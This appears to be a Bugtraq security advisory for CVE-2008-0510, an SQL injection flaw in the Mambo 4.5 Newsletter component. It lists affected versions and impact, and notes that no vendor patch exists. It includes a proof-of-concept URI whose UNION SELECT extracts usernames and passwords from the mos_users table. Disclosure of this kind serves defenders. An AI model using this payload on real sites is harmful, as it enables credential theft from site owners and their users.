Mambo Newsletter Component 'Itemid' Parameter SQL Injection Vulnerability

Bugtraq ID:	27502
Class:	Input Validation Error
CVE:	CVE-2008-0510
Remote:	Yes
Local:	No
Published:	Jan 29 2008 12:00AM
Updated:	May 07 2015 05:33PM
Credit:	S@BUN is credited with the discovery of this vulnerability.
Vulnerable:	Mambo Mambo Open Source 4.5 (1.0.3beta) Mambo Mambo Open Source 4.5 (1.0.3) Mambo Mambo Open Source 4.5 (1.0.2) Mambo Mambo Open Source 4.5 (1.0.1) Mambo Mambo Open Source 4.5 (1.0.0)
Not Vulnerable:

Mambo Newsletter Component 'Itemid' Parameter SQL Injection Vulnerability

The Newsletter component for Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Mambo 4.5 is vulnerable; other versions may also be affected.

Mambo Newsletter Component 'Itemid' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/index.php?option=com_newsletter&Itemid=S@BUN&listid=9999999/**/union/**/select/**/name,password/**/from/**/mos_users/*

Mambo Newsletter Component 'Itemid' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Mambo Newsletter Component 'Itemid' Parameter SQL Injection Vulnerability

References:

• Mambo Homepage (Mambo)